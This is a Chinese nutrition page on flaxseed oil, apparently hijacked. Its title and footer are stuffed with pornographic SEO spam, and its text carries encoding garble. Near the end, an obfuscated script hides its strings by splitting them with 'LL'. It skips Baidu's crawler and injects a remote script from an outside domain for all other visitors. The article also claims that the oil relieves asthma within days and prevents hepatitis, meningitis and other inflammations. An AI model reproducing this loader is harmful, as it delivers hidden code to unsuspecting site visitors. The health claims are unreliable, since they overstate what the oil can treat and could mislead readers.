久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 飲食 > 食物營(yíng)養(yǎng) > 正文

亞麻籽油的作用與功效-亞麻籽油怎么吃

2013-02-13 20:01:24  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:亞麻籽油是由亞麻籽經(jīng)過壓榨制取的油類,亞麻籽在中國(guó)屬于傳統(tǒng)的油料作物,亞麻籽油只是身在深山無人識(shí),現(xiàn)在人們知道了它價(jià)值。亞麻籽油的

亞麻籽油是由亞麻籽經(jīng)過壓榨制取的油類,亞麻籽在中國(guó)屬于傳統(tǒng)的油料作物,亞麻籽油只是身在深山無人識(shí),現(xiàn)在人們知道了它價(jià)值。

亞麻籽油的作用與功效-亞麻籽油怎么吃
亞麻籽油的作用與功效-亞麻籽油怎么吃

亞麻籽中粗蛋白、脂肪、總糖含量之和高達(dá)84.07%。亞麻籽蛋白質(zhì)中氨基酸種類齊全,必需氨基酸含量高達(dá)5.16%,是一種營(yíng)養(yǎng)價(jià)值較高的植物蛋白質(zhì)。亞麻籽油中α-亞麻酸含量為61.27%,α-亞麻酸是人體必需脂肪酸,在人體內(nèi)可轉(zhuǎn)化為二十碳五烯酸和二十二碳六烯酸,它們?yōu)轸~油中的有效活性成分。

亞麻籽油的作用與功效

近年經(jīng)研究和臨床實(shí)驗(yàn),證實(shí)亞麻籽油有以下功用:

1、肌膚嬌柔亮澤

改善皮膚脂肪含量,使肌膚更幼滑、滋潤(rùn)、柔軟有彈性,同時(shí)令皮膚呼吸及排汗正常,減輕種種皮膚問題。

2、減肥

可消耗身體多余脂肪,是健康減肥法。

3、改善女性經(jīng)前綜合癥

有許多女性經(jīng)前綜合癥的例子,例如痛經(jīng)等,癥狀都在每天吃了新鮮的亞麻籽油后完全消失,當(dāng)然需要配合維他命及礦物質(zhì)。

4、提升抗壓力

歐米伽3可減少身體受壓力時(shí)所產(chǎn)生的有害生化學(xué)物質(zhì)的影響,穩(wěn)定情緒,保持平靜心態(tài),減少憂郁癥及失眠癥。

5、減輕過敏反應(yīng)

歐米伽3有助減輕過敏反應(yīng),但由于整個(gè)身體要重新組織,要將過敏徹底消除需一段較長(zhǎng)時(shí)間,更要全面性的營(yíng)養(yǎng)輔助。

6、減輕哮喘

食用幾天后就可以明顯減輕哮喘發(fā)作。

7、改善關(guān)節(jié)炎

實(shí)驗(yàn)證明,歐米伽3對(duì)治療及防止關(guān)節(jié)炎有極大作用。60%風(fēng)濕關(guān)節(jié)炎患者接受歐米伽3及6脂肪酸治療后,可以完全停止食用非類固醇的抗炎藥物,而另外有20%則可次將非類固醇抗炎藥物減半。

8、改善器官組織發(fā)炎

歐米伽3對(duì)預(yù)防器官組織發(fā)炎有很大幫助,其中包括腦膜炎、腱炎、扁桃腺炎、胃炎、回腸炎、結(jié)腸炎、動(dòng)脈炎、靜脈炎、攝護(hù)腺炎、腎臟炎、脾臟炎、肝炎、胰臟炎、耳炎等,還有癬及瘡。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 视频精品一区二区 | 嫩草影院网站入口 | 自拍视频在线播放 | 欧美日韩国产精品 | 青青草欧美 | 国产欧美在线观看 | 中文字幕播放 | 久久久99精品免费观看 | 最新日韩av| 久久亚洲国产精品 | 久久久中文字幕 | 啊v视频 | 久久国产精品无码网站 | 成人91免费版 | 日韩av电影在线播放 | 成人欧美一区二区三区视频xxx | 极品少妇xxxxⅹ另类 | 91国色| 一区二区三区四区av | 色婷婷小说| 欧美激情在线狂野欧美精品 | 国产不卡视频在线观看 | 久久99国产一区二区三区 | av国产精品 | 成人黄色免费网站 | 国产成人亚洲综合 | 一级免费大片 | 国产一二三在线 | 成人区精品一区二区婷婷 | 国产一区二区三区不卡在线观看 | 一区二区三区在线观看视频 | 欧美日韩精品一区二区在线播放 | 九色网址 | 国产激情网站 | aaa日本高清在线播放免费观看 | 中文字幕日韩一区二区不卡 | 亚洲一级在线观看 | 欧美日韩在线视频一区 | 国产在线日本 | 神马久久久久久久久久 | 国产精品美女久久久 |